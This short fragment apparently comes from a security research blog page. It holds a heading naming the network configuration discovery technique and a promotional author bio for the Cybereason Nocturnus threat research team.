<u>System</u> <u>Network</u> <u>Configuration</u> <u>Discovery</u>



About the Author

Cybereason Nocturnus

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The Cybereason Nocturnus Team has brought the world's brightest minds from the military, government intelligence, and enterprise security to uncover emerging threats across the globe. They specialize in analyzing new attack methodologies, reverse-engineering malware, and exposing unknown system vulnerabilities. The Cybereason Nocturnus Team was the first to release a vaccination for the 2017 NotPetya and Bad Rabbit cyberattacks.

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